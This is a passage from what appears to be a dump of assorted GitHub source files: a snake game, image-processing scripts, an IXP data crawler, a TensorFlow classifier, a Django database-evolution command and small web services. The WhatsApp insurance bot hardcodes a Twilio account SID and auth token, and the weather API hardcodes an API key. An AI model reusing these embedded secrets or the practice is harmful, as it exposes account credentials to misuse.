SCREEN_HEIGHT - block_size) / 10.0) * 10.0\n\n game_exit = False\n game_over = False\n\n while not game_exit:\n\n while game_over == True:\n game_display.fill(white)\n message(\"You lost! Press C-Play Again or Q-Quit\", red)\n pygame.display.update()\n\n for event in pygame.event.get():\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_q:\n game_exit = True\n game_over = False\n if event.key == pygame.K_c:\n gameLoop()\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n game_exit = True\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_LEFT:\n lead_x_change = -block_size\n lead_y_change = 0\n elif event.key == pygame.K_RIGHT:\n lead_x_change = block_size\n lead_y_change = 0\n elif event.key == pygame.K_UP:\n lead_y_change = -block_size\n lead_x_change = 0\n elif event.key == pygame.K_DOWN:\n lead_y_change = block_size\n lead_x_change = 0\n\n # Check if the snake hits the boundaries\n if lead_x >= SCREEN_WIDTH or lead_x < 0 or lead_y >= SCREEN_HEIGHT or lead_y < 0:\n game_over = True\n\n # Update the position of the snake\n lead_x += lead_x_change\n lead_y += lead_y_change\n\n # Fill the background with white color\n game_display.fill(white)\n\n # Draw the food\n pygame.draw.rect(game_display, green, [food_x, food_y, block_size, block_size])\n\n # Draw the snake\n pygame.draw.rect(game_display, black, [lead_x, lead_y, block_size, block_size])\n\n pygame.display.update()\n\n # Check if the snake eats the food\n if lead_x == food_x and lead_y == food_y:\n food_x = round(random.randrange(0, SCREEN_WIDTH - block_size) / 10.0) * 10.0\n food_y = round(random.randrange(0, SCREEN_HEIGHT - block_size) / 10.0) * 10.0\n\n # Set the speed of the game\n clock.tick(20)\n\n# Quit the game\npygame.quit()\nquit()\n\n","repo_name":"amih51/myLearningJourney","sub_path":"starter/python/snakegpt.py","file_name":"snakegpt.py","file_ext":"py","file_size_in_byte":3281,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"8375646518","text":"import _plotly_utils.basevalidators\n\n\nclass UpdatemenudefaultsValidator(_plotly_utils.basevalidators.CompoundValidator):\n def __init__(\n self, plotly_name=\"updatemenudefaults\", parent_name=\"layout\", **kwargs\n ):\n super(UpdatemenudefaultsValidator, self).__init__(\n plotly_name=plotly_name,\n parent_name=parent_name,\n data_class_str=kwargs.pop(\"data_class_str\", \"Updatemenu\"),\n data_docs=kwargs.pop(\n \"data_docs\",\n \"\"\"\n\"\"\",\n ),\n **kwargs,\n )\n","repo_name":"plotly/plotly.py","sub_path":"packages/python/plotly/plotly/validators/layout/_updatemenudefaults.py","file_name":"_updatemenudefaults.py","file_ext":"py","file_size_in_byte":564,"program_lang":"python","lang":"id","doc_type":"code","stars":14438,"dataset":"github-code","pt":"3"} +{"seq_id":"4273337334","text":"import numpy as np\nimport cv2\n\nC_W0 = 1530\nC_H0 = 890\nC_W = 640\nC_H = 480\nC_GAP = 40\nC_GAP2 = 80\n\nx_cut = (C_W0 - C_W)>>1\ny_cut = (C_H0 - C_H)>>1\n\ndiffrows = np.zeros([C_H, C_GAP2, C_GAP2], float)\nvolt = np.zeros([C_H, C_GAP2, C_GAP2], float)\n\ndef get(npic):\n\tname0 = \"/tftpboot/cv/game/ss%04i.png\"%npic\n\tname1 = \"/tftpboot/cv/game/ss%04i.png\"%(npic+1)\n\timage0 = cv2.imread(name0)/255.\n\timage1 = cv2.imread(name1)/255.\n\timage = image0[y_cut:y_cut+C_H, x_cut:x_cut+C_W, :]\n\n\tfor i in range(C_H):\n\t\trow = image[i, :, :]\n\t\tfor iy in range(C_GAP2):\n\t\t\ty_pos = y_cut - C_GAP + iy\n\t\t\tfor it in range(C_GAP2):\n\t\t\t\tx_pos = x_cut - C_GAP + it\n\t\t\t\tflux = image1[y_pos, x_pos:x_pos+C_W, :]\n\t\t\t\tdiff = np.abs(row - flux)\n\t\t\t\tdiffrows[i, iy, it] = np.sum(diff)\n\t\tvmax = np.max(diffrows[i,])\n\t\tvmin = np.min(diffrows[i,])\n\t\tvolt[i,:,:] = (diffrows[i,:,:]-vmin)/(vmax - vmin)\n\n\tgb_diff = np.sum(volt, axis=0)\n\tvmax = np.max(gb_diff)\n\tvmin = np.min(gb_diff)\n\tdiffimg = (gb_diff-vmin)/(vmax - vmin)*255.\n\treturn diffimg\n\t\n\n\n\n\ndef main():\n\timg = get(22)\n\tcv2.imshow(\"test\", img)\n\tcv2.waitKey()\n\tcv2.destroyAllWindows()\n\nif __name__ == '__main__':\n\tmain()\n\n\n","repo_name":"wallelab/snake","sub_path":"pixelmap/offset.py","file_name":"offset.py","file_ext":"py","file_size_in_byte":1139,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"35020427312","text":"from django.shortcuts import render\nfrom twilio.rest import Client\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.http import HttpResponse\nimport os\nimport shutil\nimport requests\nfrom static.download_file import download_file_by_name\n\naccount_sid = 'ACc847352725a3bfa3c8ba8eb31cb79059'\nauth_token = '0a6543dcc7cf6538f8a7d4d0b666f721'\nclient = Client(account_sid, auth_token)\n\nallowed_extensions = ['.pdf', '.jpg', '.jpeg']\ndestination_folder = \"D:\\Django\\insurance\\documents\"\n\n\nsender_name = \"\"\n\ngreet_responses = {\"hi\":f\"Hi {sender_name}, I'm a Assistant from PM Investment.Please pick a service from below\\n 1. Download Policy\\n 2. Ask about Insurance\",\n \"Hello\":f\"Hello {sender_name}, I'm a Assistant from PM Investment.Please pick a service from below\\n 1. Download Policy\\n 2. Ask about Insurance\",\n \"No\":\"I don't understand that\",\n \"exit\":\"Goodbye, Have a nice day!\",\n \"how are you\": \"I'm just a computer program, but thanks for asking!\",\n \"goodbye\": \"Goodbye! Have a great day!\",\n \"thanks\": \"You're welcome!\",\n \"help\": \"Sure, I'm here to help. What do you need?\",\n \"1\":\"Which type of policy you need?\",\n \"2\":\"A. Vehicle\\n B. Health\\n C. General\\n\",\n \"A\":\"Send your Driving License\",\n \"B\": \"Type filename with extension\",\n }\n\n@csrf_exempt\ndef insurancebot(request):\n message=request.POST[\"Body\"]\n global sender_name\n sender_name=request.POST[\"ProfileName\"]\n sender_number=request.POST[\"From\"]\n \n \n\n for keyword, responses in greet_responses.items():\n if message.lower() == keyword:\n response = responses\n \n\n \n client.messages.create(\n from_='whatsapp:+14155238886',\n body=response,\n to=sender_number)\n \n print(message)\n return HttpResponse(\"Hello\")","repo_name":"KEVP43/WhatsApp-Chatbot","sub_path":"insurancebot/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1979,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"43316212623","text":"#*-* coding: utf8 *-*\n\"\"\"Moduł zawierający klasy używane do przetwarzania obrazu\"\"\"\nimport Image\nimport numpy as np\n\n\nclass NoImageError(Exception):\n \"\"\"Wyjątek sygnalizujący próbę operowania na niewczytanym obrazie\"\"\"\n pass\n\n\nclass NoSuchMethodError(Exception):\n \"\"\"Wyjątek sygnalizujący podanie złej metody operacji\"\"\"\n pass\n\n\nclass ImageAnal:\n \"\"\"Klasa przetwarzająca obrazy\"\"\"\n\n def image_loaded(fn):\n \"\"\"dekorator.\n Sprawdza czy został załadowany obraz\"\"\"\n def wrapped(self, *args, **kwargs):\n if not self.__image:\n raise NoImageError()\n return fn(self, *args, **kwargs)\n return wrapped\n\n def __init__(self, path=None):\n \"\"\"Konstruktor obiektu ImageAnal\"\"\"\n self.__image = None\n if path:\n self.load_image(path)\n\n def load_image(self, path):\n \"\"\"Wczytuje obraz z pliku \"\"\"\n self.__image = Image.open(path)\n\n @image_loaded\n def negative(self):\n \"\"\"Tworzy negatyw obrazu\"\"\"\n data = np.array(self.__image.getdata())\n data = 255 - data\n data = [tuple(x) for x in data]\n self.__image.putdata(data)\n\n @image_loaded\n def grayscale(self, method=1):\n \"\"\"Konwertuje do odcieni szarości.\n method:\n 1 (default) wykorzystuje metodę wartości średniej kolorów\n 2 wykorzystuje wzór 0.3*R+0.59*G+0.11*B\n Obsługa tylko formatu RGB\"\"\"\n if method == 1:\n self.__grayscale1()\n elif method == 2:\n self.__grayscale2()\n else:\n raise NoSuchMethodError()\n\n @image_loaded\n def convert(self, fmt):\n self.__image = self.__image.convert(fmt)\n \"\"\"Konwertuje obraz do zadanego formatu\"\"\"\n\n @image_loaded\n def normalize(self):\n data = np.array(self.__image.getdata())\n R = data[:, 0]\n G = data[:, 1]\n B = data[:, 2]\n R = (R - R.min()) * 255. / R.max()\n B = (B - B.min()) * 255. / B.max()\n B = (B - B.min()) * 255. / B.max()\n\n data[:, 0] = R\n data[:, 1] = G\n data[:, 2] = B\n\n data = [tuple(x) for x in data]\n self.__image.putdata(data)\n\n @image_loaded\n def save(self, path):\n \"\"\"Zapisuje obraz do pliku\"\"\"\n if not self.__image:\n raise NoImageError\n self.__image.save(path)\n\n def __grayscale1(self):\n \"\"\"Konwersja do skali szarości\"\"\"\n data = np.array(self.__image.getdata())\n data = [3 * (int(x.mean()),) for x in data]\n self.__image.putdata(data)\n\n def __grayscale2(self):\n \"\"\"konwersja do skali szarości\"\"\"\n data = np.array(self.__image.getdata())\n data = [3 * (int(0.3 * x[0] + 0.59 * x[1] + 0.11 * x[2]),) for x in data]\n self.__image.putdata(data)\n","repo_name":"torgiren/szkola","sub_path":"semestr_8/analiza_obrazu/01/image_anal.py","file_name":"image_anal.py","file_ext":"py","file_size_in_byte":2831,"program_lang":"python","lang":"pl","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"1626038484","text":"from Entities.xo_game import XOGame\n\nm = int(input('Enter number of players: '))\nn = int(input('Enter board size: '))\n\ngame = XOGame(n, m)\n\ngame.print_board()\n\nwhile not game.game_over():\n print(f\"It is player number {game.get_current_player()}s turn. Please enter a coordinate:\")\n x, y = map(int, input().split())\n try:\n game.action(x, y)\n except:\n print(\"error\")\n game.print_board()\n\nprint(game.winner())","repo_name":"shafiee-ali/XO_Game","sub_path":"XO/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":435,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"42410852771","text":"import os\nfrom pathlib import Path\nimport requests\nimport re\nimport json\nfrom time import sleep\nfrom datetime import datetime\n\nclass CrawlingPCH:\n \"\"\"\n This class retrieves all the active IXPs and the subnets used at each IXP\n from Packet Clearinghouse.\n It first pulls a json file with the active IXPs.\n Then pulls the subnets used at each active IXP into an individual file.\n Then it combines all the individual files into a single file.\n \"\"\"\n def __init__(self, out_dir):\n self.ixp_base_url = \"https://www.pch.net/api/ixp/directory/Active\"\n self.subnets_base_url = \"https://www.pch.net/api/ixp/subnet_details/\"\n today = datetime.now()\n year = today.year\n if today.month < 10:\n month = f\"0{str(today.month)}\"\n else:\n month = today.month\n if today.day < 10:\n day = f\"0{str(today.day)}\"\n else:\n day = today.day\n self.date_folder = f\"{year}_{month}_{day}\"\n self.out_dir = out_dir / self.date_folder\n self.active_idx = {}\n self.active_file = \"pch_active_ixp.json\"\n self.subnets_file = \"pch_subnets_XX.json\"\n\n if not os.path.isdir(self.out_dir):\n os.makedirs(self.out_dir)\n\n def run_steps(self):\n print(\"Retrieving data from Packet Clearinghouse.\")\n # if the most recent data already exists, don't download any new data\n if os.path.isfile(self.out_dir / self.active_file):\n if os.path.isfile(self.out_dir / self.subnets_file.replace(\"_XX\", '')):\n print(f\"Data already retrieved for {self.date_folder.replace('_', '/')}.\")\n return\n\n # first retrieve the index page and get the IXP indexes\n self.retrieve_and_save_active_idx()\n # next retrieve the subnets page for each IXP and save locally\n self.retrieve_and_save_subnets()\n # combine all the individual subnets files into a single file\n # and remove all the individual subnets files\n self.combine_subnets_files()\n\n def retrieve_and_save_active_idx(self):\n active_idx_page = self.retrieve_page(self.ixp_base_url)\n self.active_idx = active_idx_page.json()\n self.save_json(self.active_idx, self.out_dir / self.active_file)\n sleep(0.5) # to ensure we don't put too much load on the server\n\n def retrieve_and_save_subnets(self):\n for ixp_dict in self.active_idx:\n ixp_id = ixp_dict['id']\n save_file = self.subnets_file.replace('XX', str(ixp_id))\n if os.path.isfile(self.out_dir / save_file):\n continue\n subnets_url = self.subnets_base_url + str(ixp_id)\n print(f\"Retrieving {subnets_url}\")\n page = self.retrieve_page(subnets_url)\n subnets_dict = page.json()\n self.save_json(subnets_dict, self.out_dir / save_file)\n sleep(0.5) # to ensure we don't put too much load on the server\n\n def retrieve_page(self, url):\n page = requests.get(url)\n return page\n\n def combine_subnets_files(self):\n print(\"Combining individual files into a single json file.\")\n all_subnets = {}\n for ixp_dict in self.active_idx:\n ixp_id = ixp_dict['id']\n in_file = self.subnets_file.replace('XX', str(ixp_id))\n\n if os.path.isfile(self.out_dir / in_file):\n with open(self.out_dir / in_file, 'r') as f:\n subnets_dict = json.load(f)\n all_subnets[ixp_id] = subnets_dict\n os.remove(self.out_dir / in_file)\n else:\n print(f\"{in_file} does not exist\")\n all_file = self.subnets_file.replace('_XX', '')\n self.save_json(all_subnets, self.out_dir / all_file)\n\n def save_json(self, data, f_name):\n print(f\"Saving to {f_name}.\")\n with open(f_name, 'w') as f:\n json.dump(data, f, indent=4)\n\nif __name__ == \"__main__\":\n print(\"This script should not be run by itself. Run it through iGDB.py\")\n output_dir = Path(\"../unprocessed/PCH\")\n my_crawler = CrawlingPCH(output_dir)\n my_crawler.run_steps()\n","repo_name":"standerson4/iGDB","sub_path":"code/Crawling_PCH.py","file_name":"Crawling_PCH.py","file_ext":"py","file_size_in_byte":4176,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"3"} +{"seq_id":"29662426201","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"The setup script.\"\"\"\n\nfrom setuptools import find_packages, setup\n\nrequirements = [\n \"cdp-backend[pipeline]==4.1.2\",\n]\n\ntest_requirements = [\n \"black>=19.10b0\",\n \"flake8>=3.8.3\",\n \"flake8-debugger>=3.2.1\",\n]\n\ndev_requirements = [\n *test_requirements,\n \"wheel>=0.34.2\",\n]\n\nextra_requirements = {\n \"test\": test_requirements,\n \"dev\": dev_requirements,\n \"all\": [\n *requirements,\n *dev_requirements,\n ],\n}\n\nsetup(\n author=\"{{ cookiecutter.maintainer_or_org_full_name }}\",\n classifiers=[\n \"Development Status :: 2 - Pre-Alpha\",\n \"Intended Audience :: Developers\",\n \"License :: OSI Approved :: MIT License\",\n \"Natural Language :: English\",\n \"Programming Language :: Python :: 3.10\",\n \"Programming Language :: Python :: 3.11\",\n ],\n description=\"Package containing the gather functions for Example.\",\n install_requires=requirements,\n license=\"MIT license\",\n long_description_content_type=\"text/markdown\",\n include_package_data=True,\n keywords=\"civic technology, open government\",\n name=\"cdp-{{ cookiecutter.python_municipality_slug }}-backend\",\n packages=find_packages(exclude=[\"tests\", \"*.tests\", \"*.tests.*\"]),\n python_requires=\">=3.10\",\n tests_require=test_requirements,\n extras_require=extra_requirements,\n url=\"{{ cookiecutter.hosting_github_url }}\",\n version=\"1.0.0\",\n zip_safe=False,\n)\n","repo_name":"CouncilDataProject/cookiecutter-cdp-deployment","sub_path":"{{ cookiecutter.hosting_github_repo_name }}/python/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1471,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"3"} +{"seq_id":"9924720679","text":"#!/usr/bin/env python3\n\nimport re\nimport csv\nimport jinja2\nimport argparse\nfrom collections import defaultdict\nfrom dataclasses import dataclass\n\n@dataclass\nclass IndexItem:\n book_number: int\n chapter_number: int\n page_number: str\n _keyword: str\n description: str\n\n @property\n def index_key(self) -> str:\n return item._keyword[0].upper()\n\n @property\n def keyword_repr(self) -> str:\n return re.sub('\\[[0-9]\\]', '', self._keyword)\n\n def __lt__(self, other: str):\n return self._keyword.upper() < other._keyword.upper()\n\n def __gt__ (self, other: str):\n return self._keyword.upper() > other._keyword.upper()\n\nTEMPLATE_FILE = \"template.html\"\ntemplate_loader = jinja2.FileSystemLoader(searchpath=\"./\")\ntemplate_env = jinja2.Environment(loader=template_loader, autoescape=True)\ntemplate = template_env.get_template(TEMPLATE_FILE)\n\nbook_colors = [\n 'DarkOrange', # book = 1\n 'HotPink', # book = 2\n 'MediumSeaGreen', # book = 3\n 'Gold', # book = 4\n 'SteelBlue', # book = 5\n 'MediumPurple' # book = 6\n ]\n\nparser = argparse.ArgumentParser(description='Creates your GIAC Index')\nparser.add_argument('file', metavar='file', help='a CSV file')\nparser.add_argument('--skip-header', default=False, action=argparse.BooleanOptionalAction, help='ignore CSV header column')\nargs = parser.parse_args()\n\nindex_dict = defaultdict(list)\nwith open(args.file, newline='') as csvfile:\n index_reader = csv.reader(csvfile, delimiter=',', quotechar=\"\\\"\")\n if(args.skip_header):\n next(index_reader)\n\n index_items = [IndexItem(*row) for row in index_reader]\n for item in index_items:\n index_dict[item.index_key].append(item)\n\nsorted_index_dict = {k: sorted(v) for k, v in sorted(index_dict.items(), key=lambda k_v: k_v) }\nrendered_template = template.render(index = sorted_index_dict, book_colors = book_colors)\nprint(rendered_template)","repo_name":"Tooa/yaGIACgen","sub_path":"generator.py","file_name":"generator.py","file_ext":"py","file_size_in_byte":2001,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"19248161067","text":"from __future__ import print_function, unicode_literals\n\nfrom django.core.management.base import CommandError\nfrom django.db.models import Q\n\nfrom django_evolution.compat.commands import BaseCommand\nfrom django_evolution.compat.six.moves import input\nfrom django_evolution.compat.translation import gettext as _\nfrom django_evolution.models import Evolution\n\n\nclass Command(BaseCommand):\n \"\"\"Wipes an evolutions from the history.\n\n This is a very dangerous operation, and should only be done after a\n full database backup.\n \"\"\"\n\n def add_arguments(self, parser):\n \"\"\"Add arguments to the command.\n\n Args:\n parser (object):\n The argument parser to add to.\n \"\"\"\n parser.add_argument(\n 'args',\n metavar='EVOLUTION_LABEL',\n nargs='+',\n help=_('One or more evolution labels to wipe.'))\n parser.add_argument(\n '--noinput',\n action='store_false',\n dest='interactive',\n default=True,\n help='Tells Django to NOT prompt the user for input of any kind.')\n parser.add_argument(\n '--app-label',\n action='store',\n dest='app_label',\n help='The app label the evolution label applies to.')\n\n def handle(self, *evolution_labels, **options):\n if not evolution_labels:\n raise CommandError(\n 'One or more evolution labels must be provided.')\n\n # Sanity-check each app to make sure it exists only once, and is\n # in the given app (if specified).\n to_wipe_ids = []\n app_label = options['app_label']\n\n for evolution_label in evolution_labels:\n q = Q(label=evolution_label)\n\n if app_label:\n q = q & Q(app_label=app_label)\n\n evolutions = list(Evolution.objects.filter(q).values('pk'))\n\n if len(evolutions) == 0:\n if app_label:\n raise CommandError(\n \"Unable to find evolution '%s' for app label '%s'\" %\n (evolution_label, app_label))\n else:\n raise CommandError(\n \"Unable to find evolution '%s'\" % evolution_label)\n if len(evolutions) > 1:\n if app_label:\n raise CommandError(\n \"Too many evolutions named '%s' for app label '%s'\" %\n (evolution_label, app_label))\n else:\n raise CommandError(\n \"Too many evolutions named '%s'\" % evolution_label)\n\n to_wipe_ids.append(evolutions[0]['pk'])\n\n if to_wipe_ids:\n if options['interactive']:\n confirm = input(\"\"\"\nYou have requested to delete %s evolution(s). This may cause permanent\nproblems, and should only be done after a FULL BACKUP and under direct\nguidance.\n\nAre you sure you want to wipe these evolutions from the database?\n\nType 'yes' to continue, or 'no' to cancel: \"\"\" % len(to_wipe_ids))\n else:\n confirm = 'yes'\n\n if confirm == 'yes':\n Evolution.objects.filter(pk__in=to_wipe_ids).delete()\n\n print('%s evolution(s) have been deleted.' % len(to_wipe_ids))\n","repo_name":"beanbaginc/django-evolution","sub_path":"django_evolution/management/commands/wipe-evolution.py","file_name":"wipe-evolution.py","file_ext":"py","file_size_in_byte":3330,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"3"} +{"seq_id":"2888431270","text":"from fastapi import Request, FastAPI\nimport requests\napp = FastAPI()\n\nAPI_KEY = \"a5d089453468a09613ea162ff8d4403f\"\n@app.post(\"/api/weather\")\nasync def getWeather(request: Request):\n state = await request.json()\n rq = 'https://api.openweathermap.org/data/2.5/weather?q=' + state['query'] + '&units=' + state['units'] +'&APPID=' + API_KEY\n return requests.get(rq).json()\n","repo_name":"nguyenkhang103/Weather-Server","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":372,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"31108432939","text":"from itertools import product\nfrom math import sqrt\nfrom typing import Dict\nfrom typing import Tuple\nfrom uuid import UUID\n\nimport numpy as np\n\nfrom .internal import ClusterPosition\nfrom .internal import ClusterShape\nfrom .model import Position\nfrom .model import Rectangle\n\n\ndef calculate_normalized_distance_between_two_clusters(\n first_cluster: ClusterShape,\n second_cluster: ClusterShape,\n first_cluster_position: ClusterPosition,\n second_cluster_position: ClusterPosition,\n building_offset_rules: Dict[Tuple[UUID, UUID], float]\n) -> Tuple[float, float]:\n \"\"\"\n Вычисление расстояния между кластерами с учётом оффсетов зданий. Возвращает минимальное значение из расстояний,\n разделённых на соответствующий оффсет.\n\n :return Tuple[float, float]: безразмерное расстояние, значение оффсета\n \"\"\"\n first_building_positions = [\n _get_global_position_for_building(\n building.local_position,\n first_cluster_position\n )\n for building in first_cluster.buildings\n ]\n\n second_building_positions = [\n _get_global_position_for_building(\n building.local_position,\n second_cluster_position\n )\n for building in second_cluster.buildings\n ]\n\n first_building_figures = [building.figure for building in first_cluster.buildings]\n second_building_figures = [building.figure for building in second_cluster.buildings]\n first_building_id = [building.id for building in first_cluster.buildings]\n second_building_id = [building.id for building in second_cluster.buildings]\n\n distances = []\n offsets = []\n first_indices = list(range(len(first_cluster.buildings)))\n second_indices = list(range(len(second_cluster.buildings)))\n for first_idx, second_idx in product(first_indices, second_indices):\n first_figure, first_position = first_building_figures[first_idx], first_building_positions[first_idx]\n second_figure, second_position = second_building_figures[second_idx], second_building_positions[second_idx]\n offset_m = building_offset_rules[(first_building_id[first_idx], second_building_id[second_idx])]\n distances.append(calculate_distance_between_two_buildings(\n first_figure,\n second_figure,\n first_position,\n second_position\n ) / offset_m)\n offsets.append(offset_m)\n min_index = np.argmin(distances)\n return distances[min_index], offsets[min_index]\n\n\ndef calculate_distance_between_two_clusters(\n first_cluster: ClusterShape,\n second_cluster: ClusterShape,\n first_cluster_position: ClusterPosition,\n second_cluster_position: ClusterPosition\n) -> float:\n first_building_positions = [\n _get_global_position_for_building(\n building.local_position,\n first_cluster_position\n )\n for building in first_cluster.buildings\n ]\n\n second_building_positions = [\n _get_global_position_for_building(\n building.local_position,\n second_cluster_position\n )\n for building in second_cluster.buildings\n ]\n\n first_building_figures = [building.figure for building in first_cluster.buildings]\n second_building_figures = [building.figure for building in second_cluster.buildings]\n\n distances = []\n first_indices = list(range(len(first_cluster.buildings)))\n second_indices = list(range(len(second_cluster.buildings)))\n for first_idx, second_idx in product(first_indices, second_indices):\n first_figure, first_position = first_building_figures[first_idx], first_building_positions[first_idx]\n second_figure, second_position = second_building_figures[second_idx], second_building_positions[second_idx]\n distances.append(\n calculate_distance_between_two_buildings(\n first_figure,\n second_figure,\n first_position,\n second_position\n )\n )\n\n return min(distances)\n\n\ndef calculate_distance_between_two_buildings(\n first_building_figure: Rectangle,\n second_building_figure: Rectangle,\n first_building_position: Position,\n second_building_position: Position\n) -> float:\n delta_x = abs(first_building_position.offset_x_m - second_building_position.offset_x_m)\n delta_y = abs(first_building_position.offset_y_m - second_building_position.offset_y_m)\n total_half_width, total_half_length = _eval_half_total_width_and_half_total_length(\n first_figure=first_building_figure,\n second_figure=second_building_figure,\n first_angle_deg=first_building_position.angle_deg,\n second_angle_deg=second_building_position.angle_deg\n )\n\n if delta_x < total_half_length and delta_y >= total_half_width:\n return delta_y - total_half_width\n elif delta_x >= total_half_length and delta_y < total_half_width:\n return delta_x - total_half_length\n elif delta_x >= total_half_length and delta_y >= total_half_width:\n return sqrt((delta_x - total_half_length) ** 2 + (delta_y - total_half_width) ** 2)\n else:\n return -1.\n\n\ndef _get_global_position_for_building(\n local_position: Position,\n cluster_position: ClusterPosition\n) -> Position:\n return Position(\n building_id=local_position.building_id,\n offset_x_m=local_position.offset_x_m + cluster_position.x,\n offset_y_m=local_position.offset_y_m + cluster_position.y,\n angle_deg=local_position.angle_deg\n )\n\n\ndef _eval_half_total_width_and_half_total_length(\n first_figure: Rectangle,\n second_figure: Rectangle,\n first_angle_deg: float,\n second_angle_deg: float\n) -> Tuple[float, float]:\n first_length = first_figure.length_m / 2\n first_width = first_figure.width_m / 2\n # если угол поворота здания составляет 90 или 270 градусов\n # то длина является шириной, а ширина -- длиной\n if abs(first_angle_deg % 180 - 90) < 1e-5:\n first_length, first_width = first_width, first_length\n\n second_length = second_figure.length_m / 2\n second_width = second_figure.width_m / 2\n # если угол поворота здания составляет 90 или 270 градусов\n # то длина является шириной, а ширина -- длиной\n if abs(second_angle_deg % 180 - 90) < 1e-5:\n second_length, second_width = second_width, second_length\n\n return first_width + second_width, first_length + second_length\n","repo_name":"Julia-Markelova/rust_pyo3","sub_path":"python/force/distance.py","file_name":"distance.py","file_ext":"py","file_size_in_byte":6786,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"17294508383","text":"# https://leetcode.com/problems/reverse-linked-list/\n\n# Definition for singly-linked list.\n# class ListNode(object):\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\nclass Solution(object):\n def reverseList(self, head):\n reversedList = None\n while head != None:\n node = ListNode()\n node = head\n head = head.next\n node.next = reversedList\n reversedList = node\n return reversedList","repo_name":"eldor-galiev/LeetcodeTasks","sub_path":"Linked List/206.py","file_name":"206.py","file_ext":"py","file_size_in_byte":505,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"16409414996","text":"# Day_27_01_Exam_3_1.py\nimport urllib.request\nimport zipfile\nimport tensorflow as tf\n\n\n# rps: rock paper scissor\n# url = 'https://storage.googleapis.com/download.tensorflow.org/data/rps.zip'\n# urllib.request.urlretrieve(url, 'rps/rps.zip')\n\n# zip_ref = zipfile.ZipFile('rps/rps.zip', 'r')\n# zip_ref.extractall('rps')\n# zip_ref.close()\n\n# url = 'https://storage.googleapis.com/download.tensorflow.org/data/rps-test-set.zip'\n# urllib.request.urlretrieve(url, 'rps/rps-test-set.zip')\n#\n# zip_ref = zipfile.ZipFile('rps/rps-test-set.zip', 'r')\n# zip_ref.extractall('rps')\n# zip_ref.close()\n\n# 문제\n# ImageDataGenerator를 사용해서 테스트 데이터에 대해 90%의 정확도를 구현하세요\n# 입력 shape을 (150, 150)으로 설정합니다\n\nconv_base = tf.keras.applications.VGG16(include_top=False, input_shape=[150, 150, 3])\nconv_base.trainable = False\n\nmodel = tf.keras.Sequential()\nmodel.add(conv_base)\n\nmodel.add(tf.keras.layers.Flatten())\nmodel.add(tf.keras.layers.Dense(512, activation='relu'))\nmodel.add(tf.keras.layers.Dropout(0.5)) # 오버피팅 방지\nmodel.add(tf.keras.layers.Dense(3, activation='softmax'))\n\nmodel.compile(optimizer=tf.keras.optimizers.RMSprop(0.0001),\n loss=tf.keras.losses.sparse_categorical_crossentropy,\n metrics=['acc'])\n\ntrain_gen = tf.keras.preprocessing.image.ImageDataGenerator(rescale=1 / 255,\n rotation_range=20,\n width_shift_range=0.1,\n height_shift_range=0.1,\n shear_range=0.1,\n zoom_range=0.1,\n horizontal_flip=True)\nvalid_gen = tf.keras.preprocessing.image.ImageDataGenerator(rescale=1 / 255)\n\nbatch_size = 32\ntrain_flow = train_gen.flow_from_directory('rps/rps',\n target_size=[150, 150],\n batch_size=batch_size,\n class_mode='sparse')\nvalid_flow = valid_gen.flow_from_directory('rps/rps-test-set',\n target_size=[150, 150],\n batch_size=batch_size,\n class_mode='sparse')\nmodel.fit_generator(train_flow,\n steps_per_epoch=(840 * 3) // batch_size,\n epochs=1,\n validation_data=valid_flow,\n validation_steps=batch_size,\n verbose=1)\n\n# Pillow, scipy\n","repo_name":"yunhui21/CB_Ai_NLP","sub_path":"Lecture_example/Day_27_01_Exam_3_1.py","file_name":"Day_27_01_Exam_3_1.py","file_ext":"py","file_size_in_byte":2726,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"35594113015","text":"import os\nimport ast\nimport pandas as pd\nimport numpy as np\nfrom datetime import datetime\nimport time\nimport logging\n\n\nlevel_config = {'debug': logging.DEBUG, 'info': logging.INFO} \n\nFILE_SIZE = 500\nBYTES_PER_PKT = 1500.0*8\nMILLISEC_IN_SEC = 1000.0\nEXP_LEN = 1000 # millisecond\n\nclass Metric:\n def __init__(self,name,mi=1., lbd=1., mi_s=1.,log_level='debug'):\n self.name = name\n self.mi = mi\n self.lbd = lbd\n self.mi_s = mi_s\n \n log_level = level_config[log_level.lower()]\n logging.basicConfig(level=log_level)\n self.logger = logging.getLogger(__name__)\n \n def calc(self,listRate,listRebuffer):\n pass\n\n\n def tabulation(self,listQoE,scores = pd.DataFrame(),abrRule = 'abr Rule',prefix=''):\n scores_tmp = pd.DataFrame()\n scores_tmp['abr Rule'] = [ abrRule for i in listQoE]\n scores_tmp['Average value'] = np.asarray([i[0] for i in listQoE])\n scores_tmp['Metrics'] = [ self.name for i in listQoE]\n scores = scores.append(scores_tmp)\n scores_tmp = pd.DataFrame()\n scores_tmp['Average value'] = np.asarray([i[1] for i in listQoE])\n scores_tmp['Metrics'] = [ prefix+'_'+'Bitrate Utility' for i in listQoE]\n 